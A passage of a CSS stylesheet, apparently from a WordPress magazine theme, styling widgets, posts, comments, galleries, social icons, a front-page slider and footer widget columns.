    margin-bottom: 1em;
    padding: 1em;
    background: #fff;
    -ms-word-wrap: break-word;
    word-wrap: break-word;
}
#sidebar .widget {
    float: left;
    width: 100%;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
    border: 1px solid rgba(0, 0, 0, 0.2);
}
.widget .textwidget {
    line-height: 1.5em;
}
.widget .textwidget img {
    display: block;
    margin: 0 auto;
}
.widget .textwidget p {
    margin-bottom: 1em;
}
.widget ul {
    line-height: 1.5em;
    list-style: none;
    color: #555;
}
.widget ul .children {
    padding: 0;
    margin: 0.5em 0 0.5em 1em;
}
.widget a:link,
.widget a:visited {
    text-decoration: none;
    font-size: 1.05em;
    color: #3c3c3c;
}
#wp-calendar th,
.widget-posts-entries p {
    font-size: 0.85em;
}
.widget a:active,
.widget a:hover {
    color: #0645ad;
    text-decoration: underline;
}
.widget img {
    max-width: 100%;
    height: auto;
}
.widgettitle a:link,
.widgettitle a:visited {
    color: #fff;
}
.widget ul li {
    margin-bottom: 7px;
    padding-left: 16px;
}
#sidebar .widget img:hover {
    outline: 1px solid #003640;
}
#sidebar .widget ul:not(.w-icon, .product_list_widget) li:before {
    margin-left: -1.35em;
    font-family: 'dashicons', sans-serif;
    font-weight: 400;
    font-style: normal;
    text-decoration: inherit;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
    content: '\f139';
    float: left;
    position: relative;
    top: 0;
    margin-right: .12em;
    color: #c6c6c6;
}
#sidebar .sideright .widget ul li:before,
#sidebar .sideleft .widget ul li:before {
    margin-left: 0;
}
/*-- Custom Widgets --*/
/* Custom Menu Widget */
.widget_nav_menu .menu ul {
    padding: 0.3em 0 0.3em 1em;
}
/* Calendar Widget */
#wp-calendar {
    margin: 0;
    width: 100%;
    color: #444;
    line-height: 1.6em;
}
#wp-calendar caption,
#wp-calendar td,
#wp-calendar th {
    text-align: left;
}
#wp-calendar caption {
    font-style: italic;
    margin-bottom: 0.1em;
}
#wp-calendar th {
    font-weight: 700;
}
#wp-calendar tfoot tr td {
    padding-top: 0.5em;
}
#wp-calendar #next {
    padding-right: 0.8em;
    text-align: right;
}
/* Custom Recent/Popular Posts Widget */
.widget-posts-entries ul {
    padding: 0;
}
.widget-posts-entries ul li {
    list-style: none;
    margin: 0 0 0.5em;
    overflow: auto;
    padding: 0 0 0.3em 0.4em;
    border-bottom: 1px solid #ededed;
}
.widget-posts-entries .wp-post-image {
    float: left;
    outline: 1px solid #eee;
    margin: 0.3em 0.8em 0.5em 0;
    max-width: 75px;
    height: auto;
}
.widget-posts-entries .widget-postmeta {
    color: #777;
    margin: 0.3em 0;
    font-size: 0.8em;
}
.widget-posts-entries .widget-postmeta span:before {
    display: inline-block;
    -webkit-font-smoothing: antialiased;
    font: 400 19px/1 'dashicons';
    vertical-align: middle;
    color: #777;
    margin-right: 0.2em;
}
.widget-posts-entries .widget-postmeta .widget-date {
    margin-right: 0.5em;
}
.widget-posts-entries .widget-postmeta .widget-date:before {
    content: '\f145';
}
.widget-posts-entries .widget-postmeta .widget-comment:before {
    content: '\f101';
}
.widget-posts-entries .widget-postmeta .widget-author:before {
    content: '\f110';
}
/* Custom Recent Comments Widget */
.widget-recent-comments ul {
    padding: 0;
}
.widget-recent-comments ul li {
    list-style: none;
    margin: 0 0 0.4em;
    overflow: auto;
}
.widget-recent-comments img {
    float: left;
    margin: 0.3em 0.8em 0.4em 0;
}
.widget-recent-comments .comment-content {
    font-weight: 400;
    color: #555;
}
.widget-recent-comments .comment-date {
    padding: 0;
    margin-top: 0.2em;
    font-size: 0.9em;
    color: #777;
}
/* Custom Tabbed Content Widget */
.widget-tabnavi {
    background: #086f9c;
    padding: 0;
    overflow: auto;
    list-style: none;
    font-size: 0.825em;
    font-family: Arial, Helvetica, sans-serif;
    margin: -0.5em -0.5em 1em;
    color: #fff;
    border: 1px solid rgba(0, 0, 0, 0.4);
}
.widget-tabnav {
    margin: 0;
    padding: 0;
    list-style: none;
    position: relative;
}
.widget-tabnavi ul {
    text-indent: 0;
    list-style: none;
}
.widget-tabnavi ul li:before {
    display: none;
}
.widget-tabnav ul li,
.widget-tabnavi ul li {
    margin-bottom: 0;
    padding-left: 0;
}
.widget-tabnav li {
    float: left;
    list-style: none;
    position: relative;
    text-decoration: none;
    margin: 0;
    padding: 0;
}
.widget-tabnav li a {
    display: block;
    margin: 0;
    padding: 0.53em 1em;
    text-decoration: none;
    font-weight: 700;
    border-right: 1px solid rgba(255, 255, 255, 0.5);
}
.widget-tabnav li a:link,
.widget-tabnav li a:visited {
    color: #f9f9f9;
    opacity: 0.6;
}
.widget-tabnavi li a:active,
.widget-tabnavi li a:hover {
    background-color: rgba(0, 0, 0, 0.5);
    text-decoration: underline;
    opacity: 1;
}
.widget-tabnavi li a.current-tab {
    opacity: 1;
}
.widget-tabbed .tabdiv {
    padding: 0;
    margin: 1em 0 0;
}
.widget-tabbed .tabdiv li.widget-thumb {
    list-style: none;
    margin: 0 0 0.3em;
    overflow: auto;
    padding: 0 0 0.3em 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    float: left;
    margin: 0.3em 0.8em 0.5em 0;
    max-width: 75px;
    height: auto;
}
.widget-tabbed .tabdiv li.widget-avatar {
    list-style: none;
    margin: 0 0 0.3em;
    overflow: auto;
}
.widget-tabbed .tabdiv li.widget-avatar img {
    float: left;
    margin: 0.3em 0.8em 0.3em 0;
}
.widget-tabbed .tabdiv ul li .widget-postmeta {
    margin: 0.1em 0;
    padding: 0;
    font-size: 0.8em;
    color: #777;
}
.widget-tabbed .tabdiv ul li .widget-postmeta:before {
    display: inline-block;
    -webkit-font-smoothing: antialiased;
    font: 400 14px/1 'dashicons';
    vertical-align: middle;
    color: #777;
    margin-right: 0.2em;
    content: '\f145';
}
/*-- Posts and Pages --*/
.type-attachment,
.type-page,
.wi .type-post {
    margin: 0 0 2em;
    padding: 0 0 0.5em;
}
.page-title,
.post-title {
    font-weight: 700;
    font-family: Arial, Helvetica, sans-serif;
    color: #3c3c3c;
    line-height: 1;
    -ms-word-wrap: break-word;
    word-wrap: break-word;
}
.page-title {
    font-size: 2.3em;
    padding: 0.1em 0;
}
.post-title {
    font-size: 1.95em;
    margin-bottom: 0.4em;
}
.post-title a:link,
.post-title a:visited {
    color: #3c3c3c;
    text-decoration: none;
}
.post-title a:active,
.post-title a:hover {
    color: #0645ad;
    text-decoration: underline;
}
.sticky {
    border-left: 5px solid #ddd;
    padding-left: 1.5em;
}
/* Page Links | wp_link_pages() */
.page-links {
    margin: 0;
    font-size: 20px;
    line-height: 2.5em;
}
.page-links a {
    text-decoration: none;
    border: 1px solid #ccc;
    background: #f9f9f9;
    margin: 0;
    padding: 7px 15px;
}
.page-links a:hover {
    background: #0066cc;
    color: #fff;
}
/* Postmeta */
.postinfo,
.postmeta {
    color: #333;
    margin: 0;
    padding: 0;
    line-height: 1.5em;
    font-size: 0.9em;
}
.postinfo {
    margin: 1em 0 1.5em 0;
    background: #eee;
    padding: 0.5em;
    border: 1px solid #ddd;
}
.postinfo span,
.postmeta span {
    margin-right: 0.5em;
}
.postmeta a:link,
.postmeta a:visited {
    color: #555;
}
.postmeta a:active,
.postmeta a:hover {
    color: #0645ad;
    text-decoration: underline;
}
/* Postmeta Icons */
.postinfo span:before,
.postmeta span:before {
    display: inline-block;
    -webkit-font-smoothing: antialiased;
    font: 400 14px/1 dashicons;
    vertical-align: text-top;
    color: #777;
}

.postmeta .meta-date:before {
    content: '\f145';
}
.postmeta .meta-author:before {
    content: '\f110';
}
.postmeta .meta-category:before {
    content: '\f318';
}
.postinfo .meta-comments:before {
    content: '\f101';
}
.postinfo .meta-tags:before {
    content: '\f323';
}
/* Read more Link */
.entry .more-link {
    color: #333;
    display: inline-block;
    font-weight: 700;
    padding: 0.3em 1em;
    text-decoration: none;
    border: 1px solid rgba(0, 0, 0, 0.2);
    background: #eee;
    -webkit-box-shadow: 0 0 2px #fff inset;
    box-shadow: 0 0 2px #fff inset;
    transition: all 0.25s ease-in-out;
}
.entry .more-link:link {
    color: #333;
}
.entry .more-link:visited {
    color: #555;
}
.entry .more-link:hover {
    color: #f9f9f9;
    background-color: #1C88C8;
    text-decoration: none;
}
/* Archives and Search Heading */
.archive-title {
    border: 1px solid #ddd;
    color: #333;
    font-size: 1.1em;
    font-weight: 700;
    margin-bottom: 1.5em;
    padding: 0.65em;
    background: #eee;
}
.archive-title span {
    color: #003640;
}
/* Content Pagination */
.post-pagination {
    margin: 1em 0;
    color: #333;
}
.post-pagination a {
    padding: 0.6em 0.9em;
    margin-right: 0.2em;
    display: inline-block;
    text-align: center;
    text-decoration: none;
    background: #f9f9f9;
    border: 1px solid #e5e5e5;
    font-size: 1.2em;
    font-weight:600;
}
.post-pagination a:link,
.post-pagination a:visited {
    color: #121212;
}
.post-pagination a:hover {
    text-decoration: none;
    background: #0066cc;
    color: #fff;
}
.post-pagination .current {
    text-decoration: underline;
    padding: 0.5em 0.9em;
    background: #f9f9f9;
    color: #333;
    border: 1px solid #e5e5e5;
    font-size: 1.2em;
    font-weight:400;
}
/*-- Scroll to Top --*/
.scrollToTop {
    background: rgba(0, 148, 193, 0.85);
    position: fixed;
    width: 40px;
    height: 40px;
    right: 10px;
    bottom: 10px;
    display: block;
    z-index: 1000;
    padding: 0!important;
    border-radius: 3px;
    border: 3px solid rgba(17, 124, 142, 0.9);
}
.scrollToTop:hover {
    background: #1C88C8;
    text-decoration: none;
}
.scrollToTop:before {
    display: block;
    font-family: 'dashicons', sans-serif;
    content: '\f343';
    color: #fff;
    opacity: 0.7;
    font-size: 28px;
    line-height: 0.8em;
    text-align: center;
    padding: 8px 0;
}
.scrollToTop:hover:before {
    opacity: 1;
}
/*-- Text Elements --*/
.entry {
    font-size: 1.15em;
    line-height: 1.65;
    margin: 0.4em 0;
    -ms-word-wrap: break-word;
    word-wrap: break-word;
}
.comment p,
.entry p {
    margin: 1em 0;
}
.comment a,
.comment a:link,
.comment a:visited,
.entry a,
.entry a:link,
.entry a:visited {
    color: #1079c9;
    text-decoration: none;
}
.comment a:hover,
.entry a:hover {
    color: #0645ad;
    text-decoration: underline;
}
.comment h1,
.comment h2,
.comment h3,
.comment h4,
.comment h5,
.comment h6,
.entry h1,
.entry h2,
.entry h3,
.entry h4,
.entry h5,
.entry h6 {
    color: #222;
    font-weight: 700;
    line-height: 1.1em;
    margin: 1.2em 0 0.3em;
}
.comment h1,
.entry h1 {
    font-size: 1.95em;
}
.comment h2,
.entry h2 {
    font-size: 1.75em;
}
.comment h3,
.entry h3 {
    font-size: 1.5em;
}
.comment h4,
.entry h4 {
    font-size: 1.25em;
}
.comment h5,
.entry h5 {
    font-size: 1.125em;
    margin: 1.3em 0 0;
}
.comment h6,
.entry h6 {
    font-size: 1em;
    margin: 1.3em 0 0;
}

/* List Elements New */
.entry ol > li {
	list-style-type: decimal;
	margin: 0 0 5px 50px;
}
.entry ol ul > li {
    list-style-type: disc;
}
.entry ol ol > li {
	list-style-type: upper-alpha;
}
.entry ol ol ol > li {
	list-style-type: lower-roman;
}
.entry ul > li {
    list-style-type: disc;
    margin: 0 0 5px 50px;
}
.entry ul ul > li {
	list-style-type: square;
}
.entry ol ul ul > li,
.entry ul ul ul > li {
	list-style-type: circle;
}
.entry ol ol,
.entry ul ul {
	margin-bottom: 0;
}

/* List Elements - Comments */
.comment ul {
    list-style: disc inside;
    margin: 0 0 1.5em 1.7em;
}
.comment ul ul li {
	list-style: square inside;
}
.comment li {
    margin-top: 0.55em;
}
.comment ol {
    list-style: decimal inside;
    margin: 0 0 1.5em 1.7em;
}
.comment ol ol {
    list-style: upper-alpha inside;
}
.comment ol ol ol {
    list-style: lower-roman inside;
}
.comment ol ol ol ol {
    list-style: lower-alpha inside;
}
.comment ol ol,
.comment ol ul,
.comment ul ol,
.comment ul ul {
    margin-bottom: 0.2em;
}
dl {
    margin: 1em 0;
}
dt, strong {
    font-weight: 700;
}
dd {
    margin-bottom: 1.5em;
}
cite, em, i {
    font-style: italic;
}
.big_tag,
big {
    font-size: 1.3em;
}
ins {
    background: 0 0;
    text-decoration: none;
}
code,
pre {
    padding: 3px 8px;
    margin: 0 1px;
    background: #eee;
    color: #222;
    font-size: 0.9em;
    font-family: Monospace, "Courier New", Courier, sans-serif;
    overflow: auto;
    line-height: 1.4em;
}
.entry .tt_tag,
.entry kbd,
.entry tt,
.entry var,
pre {
    font-family: "Courier 10 Pitch", Courier, monospace;
}
del, s, strike {
    text-decoration: line-through;
}
small {
    font-size: 0.7em;
}
abbr, acronym {
    border-bottom: 1px dotted #666;
    cursor: help;
}
sub, sup {
    height: 0;
    line-height: 1;
    position: relative;
    vertical-align: baseline;
    font-size: 0.8em;
}
.entry img,
article .wp-post-image {
    height: auto;
    max-width: 100%;
}
.pmns img {
    cursor: url("images/magnify.cur"), -webkit-zoom-in;
    cursor: url("images/magnify.cur"), zoom-in;
}
sup {
    bottom: 1ex;
}
sub {
    top: 0.5ex;
}
.entry .tt_tag,
.entry kbd,
.entry tt,
.entry var {
    font-size: 1.1em;
}
blockquote {
    background: #f5f5f5;
    border-left: 10px solid #ccc;
    margin: 1.2em 0;
    padding: 0.3em 1.4em;
}
blockquote cite {
    display: block;
    margin: 0.5em 0 0 0.5em;
    color: #777;
}
.entry table {
    border: 1px solid #ddd;
    margin: 1em 0;
    text-align: left;
    width: 100%;
}
.entry thead th,
.entry tr th {
    background: #e5e5e5;
    font-weight: 700;
    padding: 0.2em 1em;
}
.entry tr td {
    border-top: 1px solid #ddd;
    padding: 0.2em 1em;
}
.entry tr.alternate td {
    background: #f5f5f5;
}
/*-- Full and wide alignment in Gutenberg
https://www.billerickson.net/full-and-wide-alignment-in-gutenberg/
--*/
#content-full .alignwide,
#content-full .alignfull {
    margin: 32px calc(50% - 50vw);
    max-width: 100vw;
    width: 100vw;
}

.alignfull img {
    width: 100%;
}

@media (min-width: 960px) {
    #content-full .alignwide {
        margin: 32px auto;
        max-width: 100%;
        width: 100%;
    }
}

.alignleft {
    float: left;
    display: inline;
    margin: 1em 2em 1em 0;
}
.alignright {
    float: right;
    display: inline;
    margin: 1em 0 1em 2em;
}
.aligncenter {
    margin: 1em auto;
    display: block;
}

/* Objects
--------------------------------------------- */
embed,
iframe,
img,
object,
video,
.wp-caption {
	max-width: 100%;
}
img {
	height: auto;
	vertical-align: top;
}
figure {
	margin: 0;
}

/*-- Images | Gallery | Videos --*/
article .wp-post-image {
    margin: 0 auto;
}
.archive article .wp-post-image.alignleft,
.blog article .wp-post-image.alignleft,
.search article .wp-post-image.alignleft {
    margin: 1em 1em 1em 0;
}
.archive article .wp-post-image.alignright,
.blog article .wp-post-image.alignright,
.search article .wp-post-image.alignright {
    margin: 1em 0 1em 1em;
}
.archive article .wp-post-image.aligncenter,
.blog article .wp-post-image.aligncenter,
.search article .wp-post-image.aligncenter{
    margin: 0 auto 1em;
}
.wp-caption {
    max-width: 100%;
    height: auto;
    text-align: center;
    margin: 0.5em 0;
}
.wp-block-image figcaption,
.wp-caption-text,
.wp-caption p.wp-caption-text {
    color: #666;
    margin: 0 0 1em 0;
    padding: 0 0 0.25em 0;
    font-size: 0.925em;
    font-style: italic;
    text-align: center;
}
.entry-content p.wp-caption-text {
	margin-bottom: 0;
}
/* Gallery Styling */
.gallery {
    padding-top: 1em;
}
.gallery-item {
    padding: 0.3em 1em 0 0;
    -webkit-box-sizing: border-box;
            box-sizing: border-box;
}
.gallery img {
    margin: 0;
    padding: 2px;
    border: 1px solid #ddd!important;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
}
.gallery-caption {
    color: #666;
    font-size: 0.9em;
    font-style: italic;
    height: auto;
    max-width: 100%;
    text-align: center;
    margin: 0;
}
.iframe-container {
    overflow: hidden;
    padding-top: 56.25%;
    position: relative;
}
.iframe-container iframe {
border: 0;
height: 100%;
left: 0;
position: absolute;
top: 0;
width: 100%;
}
/* Image.php Navigation */
#image-nav {
    margin-bottom: 1.5em;
    padding: 0.5em;
    color: #333;
    border-bottom: 1px dashed #aaa;
}
#image-nav .nav-previous {
    float: left;
}
#image-nav .nav-next {
    float: right;
}
#image-nav .nav-next a,
#image-nav .nav-previous a {
    font-size: 0.9em;
    text-decoration: none;
    color: #3c3c3c;
}
#image-nav .nav-next a:hover,
#image-nav .nav-previous a:hover {
    text-decoration: underline;
}
/*-- Social Icons | based upon http://kovshenin.com/2014/social-menus-in-wordpress-themes/ --*/
.social-icons-menu,
.widget-social-icons .social-icons-menu {
    list-style-type: none!important;
    line-height: 1em!important;
}
.social-icons-menu li {
    float: left;
    margin: 0 0.2em 0.2em 0;
    padding: 0;
}
.widget-social-icons ul li:before {
    display: none;
}
.social-icons-menu li a {
    position: relative;
    opacity: 0.8;
    display: inline-block;
    padding: 0.9em;
    text-decoration: none;
    color: #fff;
    background: #444;
}
.social-icons-menu li a:before {
    color: #fff;
    display: inline-block;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
    font-size: 16px;
    line-height: 1;
    font-family: 'dashicons', sans-serif;
    text-decoration: inherit;
    vertical-align: top;
    content: '\f155';
}
/* Add dashicons */
.social-icons-menu li a[href*="facebook.com"]:before {content: '\f305';}
.social-icons-menu li a[href*="plus.google.com"]:before {content: '\f462';}
.social-icons-menu li a[href*="github.com"]:before {content: '\f328';}
.social-icons-menu li a[href*="instagram.com"]:before {content: '\f12d';}
.social-icons-menu li a[href*="linkedin.com"]:before {content: '\f18d';}
.social-icons-menu li a[href*="pinterest.com"]:before {content: '\f192';}
.social-icons-menu li a[href*="polldaddy.com"]:before {content: '\f468';}
.social-icons-menu li a[href*="reddit.com"]:before {content: '\f195';}
.social-icons-menu li a[href*="spotify.com"]:before {content: '\f196';}
.social-icons-menu li a[href*="tumblr.com"]:before {content: '\f302';}
.social-icons-menu li a[href*="twitch.tv"]:before {content: '\f199';}
.social-icons-menu li a[href*="twitter.com"]:before {content: '\f301';}
.social-icons-menu li a[href*="wordpress.org"]:before,
.social-icons-menu li a[href*="wordpress.com"]:before {content: '\f120';}
.social-icons-menu li a[href*="youtube.com"]:before {content: '\f19b';}
.social-icons-menu li a[href*="/feed"]:before,
.social-icons-menu li a[href*="/feed/"]:before,
.social-icons-menu li a[href*="?feed=rss2"]:before,
.social-icons-menu li a[href*="feedburner.google.com"]:before,
.social-icons-menu li a[href*="feedburner.com"]:before {content: '\f303';}
/* Add Colors */
.social-icons-menu li a[href*="facebook.com"] {background: #3b5998;}
.social-icons-menu li a[href*="plus.google.com"] {background: #dd4b39;}
.social-icons-menu li a[href*="github.com"] {background: #171515;}
.social-icons-menu li a[href*="instagram.com"] {background: #3f729b;}
.social-icons-menu li a[href*="linkedin.com"] {background: #007bb6;}
.social-icons-menu li a[href*="pinterest.com"] {background: #cb2027;}
.social-icons-menu li a[href*="polldaddy.com"] {background: #bc0b0b;}
.social-icons-menu li a[href*="reddit.com"] {background: #ff4500;}
.social-icons-menu li a[href*="spotify.com"] {background: #81b71a;}
.social-icons-menu li a[href*="tumblr.com"] {background: #32506d;}
.social-icons-menu li a[href*="twitch.tv"] {background: #6441A5;}
.social-icons-menu li a[href*="twitter.com"] {background: #00aced;}
.social-icons-menu li a[href*="wordpress.org"] {background: #21759b;}
.social-icons-menu li a[href*="wordpress.com"] {background: #1e8cbe;}
.social-icons-menu li a[href*="youtube.com"] {background: #c4302b;}
.social-icons-menu li a[href*="/feed"],
.social-icons-menu li a[href*="/feed/"],
.social-icons-menu li a[href*="?feed=rss2"],
.social-icons-menu li a[href*="feedburner.google.com"],
.social-icons-menu li a[href*="feedburner.com"] {background: #ee802f;}
.social-icons-menu li a:hover {
    text-decoration: none;
    opacity: 1;
}
.social-icons-menu li a .screen-reader-text {
    display: none;
}
.social-icons-hint {
    font-size: 0.9em;
    background: #121212;
    color: #f9f9f9 !important;
    padding: 0.7em;
    line-height: 1.2em;
}
.social-icons-wrap .social-icons-hint {
    font-size: 0.8em;
    color: #f9f9f9;
    max-width: 300px;
    line-height: 1.2em;
}
/* Header Social Icons */
#header-social-icons {
    float: right;
    padding-right: 0.4em;
}
#header-social-icons .social-icons-menu li {
    margin: 0.1em 0 0;
    background: 0 0;
}
#header-social-icons .social-icons-menu li a {
    padding: 0.35em 0.75em;
    background: 0 0;
    border: none;
}
#header-social-icons .social-icons-menu li a:before {
    color: #f9f9f9;
    font-size: 16px;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before {
    background: 0 0;
}
/*-- Comments --*/
#comments {
    margin: 1em 0;
}
#comments .comments-title,
#respond #reply-title {
    font-family: Georgia, Arial, Tahoma, sans-serif;
    font-size: 1.4em;
    color: #333;
    line-height: 1.4em;
    -ms-word-wrap: break-word;
    word-wrap: break-word;
    margin-bottom: 1em;
    padding-bottom: 0.3em;
    border-bottom: 1px dashed #aaa;
}
.woocommerce-Reviews #comments .comments-title,
.woocommerce-Reviews #respond #reply-title {
    border-bottom: none;
}
.woocommerce #review_form #respond p {
    margin: 1em 0 0;
}
.commentlist {
    display: block;
    margin: 0;
}
.commentlist .comment {
    display: block;
    margin-bottom: 2em;
    padding: 1em;
    border-top: 1px solid #ddd;
    background: #f5f5f5;
    list-style: none;
    line-height: 1.5em;
    -ms-word-wrap: break-word;
    word-wrap: break-word;
}
.comment-author img {
    float: left;
    margin-right: 1em;
    margin-top: -0.1em;
}
.comment-author .fn {
    font-size: 1.1em;
    padding: 0.2em 0;
}
.comment-meta,
.comment-pagination {
    font-size: 0.9em;
}
.comment-author .fn a:link,
.comment-author .fn a:visited {
    text-decoration: underline;
}
#commentform #submit,
.comment-author .fn a:active,
.comment-author .fn a:hover {
    text-decoration: none;
}
.bypostauthor .fn,
.comment-author-admin .fn {
    font-style: italic;
    background: #eee;
    padding: 0.2em 0.6em;
}
.comment-meta {
    margin-bottom: 1.5em;
}
.comment-meta a:active,
.comment-meta a:hover,
.comment-meta a:link,
.comment-meta a:visited {
    color: #666;
}
#comments .children {
    margin-top: 1em;
    margin-left: 1em;
}
#comments .children .comment {
    background: #fff;
    border: 1px solid #ddd;
}
.nocomments {
    color: #444;
    padding: 1em;
}
.commentlist .pingback {
    display: block;
    padding: 0.8em 0;
    border-top: 1px solid #eee;
    list-style: none;
    line-height: 1.3em;
}
/* Comment Pagination */
.comment-pagination .alignleft {
    float: left;
}
.comment-pagination .alignright,
.widget-category-posts .widgettitle .category-archive-link {
    float: right;
}
/* Comment Form */
#respond {
    margin: 2.5em 0 0;
}
#commentform {
    padding: 0;
}
#commentform p {
    margin: 1em 0;
}
#commentform input[type=text],
#commentform textarea {
    display: inline-block;
    width: 100%;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
}
#commentform label {
    display: block;
    margin: 0.6em 0 0.2em;
}
#commentform #submit {
    display: block;
    font-weight: 700;
    margin-top: 1em;
    padding: 0.55em 1em;
    color: #f9f9f9;
    font-size:18px;
    border: 1px solid rgba(0, 0, 0, 0.4);
    background: #1C88C8;
}
#commentform #submit:hover {
    background: #121212;
    cursor: pointer;
    text-decoration: none;
}
/*-- Front Page Template --*/
.frontpage-magazine-no-widgets,
.frontpage-slider-empty-posts {
    line-height: 1.5em;
    margin-bottom: 1.5em;
}
/* General Widget Styling */
#frontpage-magazine-widgets .widget {
    margin: 0 0 2em;
    padding: 0;
}
#frontpage-magazine-widgets .widget .widgettitle a:hover {
    color: #fff;
}
/* Front Page Slideshow */
#frontpage-slider-wrap {
    padding: 0;
    margin-bottom: 2em;
}
#frontpage-slider {
    border:1px solid #ddd;
}
#frontpage-slider .pmsslide .slide-entry {
    bottom: 8px;
    left: 8px;
    line-height: 1.15em;
    word-wrap: break-word;
    padding: 0.52em 0.85em;
    color: #fff;
    background: rgba(0,0,0,0.7);
}
#frontpage-slider .pmsslide .slide-entry p {
    padding-top: 5px;
}
#frontpage-slider .pmsslide img {
    max-width: 1340px;
    max-height: 400px;
}
#frontpage-slider .pmsslide .slide-entry .slide-title {
    font-family: Franklin Gothic Medium, Helvetica, Arial, sans-serif;
    text-transform:uppercase;
    font-size: 1.2em;
    color: #fff;
    line-height: 1em;
    -ms-word-wrap: break-word;
    word-wrap: break-word;
    padding: 0;
}
.frontpage-slider-controls .pmsflex-direction-nav a:before {
    color: #fff;
    font: 400 20px/1 dashicons;
    margin: 0.4em 0.7em ;
}
.frontpage-slider-controls .pmsflex-direction-nav .pmsflex-prev {
    right:61px;
}
.frontpage-slider-controls .pmsflex-direction-nav a.pmsflex-next:before {
    content: '\f344';
}
.frontpage-slider-controls .pmsflex-direction-nav a.pmsflex-prev:before {
    content: '\f340';
}
.frontpage-slider-controls .pmsflex-direction-nav a {
    background:rgba(0, 0, 0, 0.6);
    margin: -29px 0 0 0;
    height: 35px;
    width: 50px;
}
.widget-category-posts .type-post .post-title {
    font-size: 1.55em;
}
/* Category Posts Widgets */
.widget-category-posts {
    margin-bottom: -1.5em;
}
.widget-category-posts .widgettitle .category-archive-link .genericon-next {
    display: inline-block;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
    line-height: 1;
    font-size: 21px;
    font-family: 'dashicons', sans-serif;
    text-decoration: inherit;
    vertical-align: top;
    content: '\f344';
    margin: -4px -4px 0 0;
}
.widget-category-posts .widgettitle .category-archive-link .genericon-next:hover {
    text-decoration: none;
}
.widget-category-posts .type-post {
    margin: 0;
    padding: 0;
    border: none;
    -webkit-box-shadow: none;
            box-shadow: none;
}
.widget-category-posts .more-link:link,
.widget-category-posts .more-link:visited {
    color: #333;
}
.widget-category-posts .more-link:active,
.widget-category-posts .more-link:hover {
    text-decoration: none;
    color: #fff;
    background: #121212;
}
.widget-category-posts .big-post .post-title {
    font-size: 1.35em;
}
.widget-category-posts .big-post .wp-post-image {
    margin: 0 0 .5em;
}
.widget-category-posts .small-post {
    float: left;
    display: block;
    width: 100%;
    margin: 0 0 1em;
    padding: 0 0 1em;
    border-bottom: 1px solid #ddd;
}
.widget-category-posts .small-post .wp-post-image {
    float: left;
    margin: 0.5em 0.95em 0 0;
}
.widget-category-posts .small-post .small-post-content {
    padding: 0.4em 0 0;
}
.widget-category-posts .small-post .post-title {
    border: none;
    margin: 0 0 0.3em;
    padding: 0;
    font-size: 1.05em;
}
.widget-category-posts .small-post .postmeta {
    display: inline;
}
.widget-category-posts .small-post .postmeta .meta-date:before {
    content: '\f145'}
.widget-category-posts .small-post .postmeta .meta-comments:before {
    content: '\f101'}
.widget-category-posts .category-posts-columns .small-post:last-child,
.widget-category-posts .category-posts-grid-row:last-child .small-post,
.widget-category-posts .widget-category-posts-content .small-posts .small-post:last-child {
    border-bottom: none;
}
/* Category Posts Boxed Widget */
#widget-category-posts-boxed .big-post {
    float: left;
    width: 50%;
    padding-right: 1em;
    margin-bottom: 1em;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
}
#widget-category-posts-boxed .small-posts {
    width: 50%;
    margin-left: 50%;
    padding-left: 1em;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
}
/* Category Posts Grid Widget */
#widget-category-posts-grid .category-posts-grid-row {
    margin-right: -2em;
}
#widget-category-posts-grid .category-posts-grid-row .big-post,
#widget-category-posts-grid .category-posts-grid-row .small-post-wrap {
    float: left;
    width: 50%;
    padding-right: 2em;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
}
#widget-category-posts-grid .category-posts-grid-row .small-post-wrap {
    padding-right: 2em;
}
/* Front Page Category Area Three (two columns) */
#widget-category-posts-columns .category-posts-column-left {
    float: left;
    width: 50%;
    padding-right: 1em;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
}
#widget-category-posts-columns .category-posts-column-right {
    margin-left: 50%;
    width: 50%;
    padding-left: 1em;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
}
#widget-category-posts-columns .category-posts-columns .big-post {
    margin-bottom: 1.5em;
}
/* Single Category Post ) */
#widget-category-posts-single .single-post {
    clear: both;
    margin: 0 0 1em 0;
}
.pmborder {
    border-bottom: 1px solid #ddd;
    margin: 0 0 1em 0;
    clear: both;
}
#widget-category-posts-single .single-post .wp-post-image {
    float: left;
    margin: 0 1em 1em 0;
}
#widget-category-posts-single .single-post .more-link {
    margin: 0;
}
/*-- Footer Widget Area --*/
#footer-widgets .widget-post-entries .widget-postmeta {
    color: #ccc;
}
#footer-widgets .widget-posts-entries .widget-postmeta span:before {
    color: #eee;
}
#footer-widgets .widget-recent-comments .comment-content,
#footer-widgets .widget-recent-comments .comment-date {
    color: #ccc;
}
#footer-widgets .widget-tabnavi {
    background: rgba(0, 0, 0, 0.2);
}
#footer-widgets .widget-tabnav li a {
    color: #fff;
    background: 0 0;
    border: none;
}
#footer-widgets .widget-tabnavi li a.current-tab,
#footer-widgets .widget-tabnavi li a:active,
#footer-widgets .widget-tabnavi li a:hover {
    background: rgba(0, 0, 0, 0.2);
}
#footer-widgets-bg {
    background: #0062A3;
    border-top: 0.5em solid rgba(0, 0, 0, 0.2);
}
#footer-widgets {
    padding-top: 1em;
    padding-left: 1em;
}
.footer-widget-column-1 {
    float: left;
    width: 100%;
    padding-right: 1em;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
}
.footer-widget-column-2,
.footer-widget-column-3 {
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    box-sizing: border-box;
    padding-right: 1em;
    float: left;
}
.footer-widget-column-2 {
    width: 50%;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
}
.footer-widget-column-3 {
    width: 33.33%;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
}
.footer-widget-column-4 {
    float: left;
    width: 25%;
    padding-right: 1em;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
}
/* Footer Widget Styling */
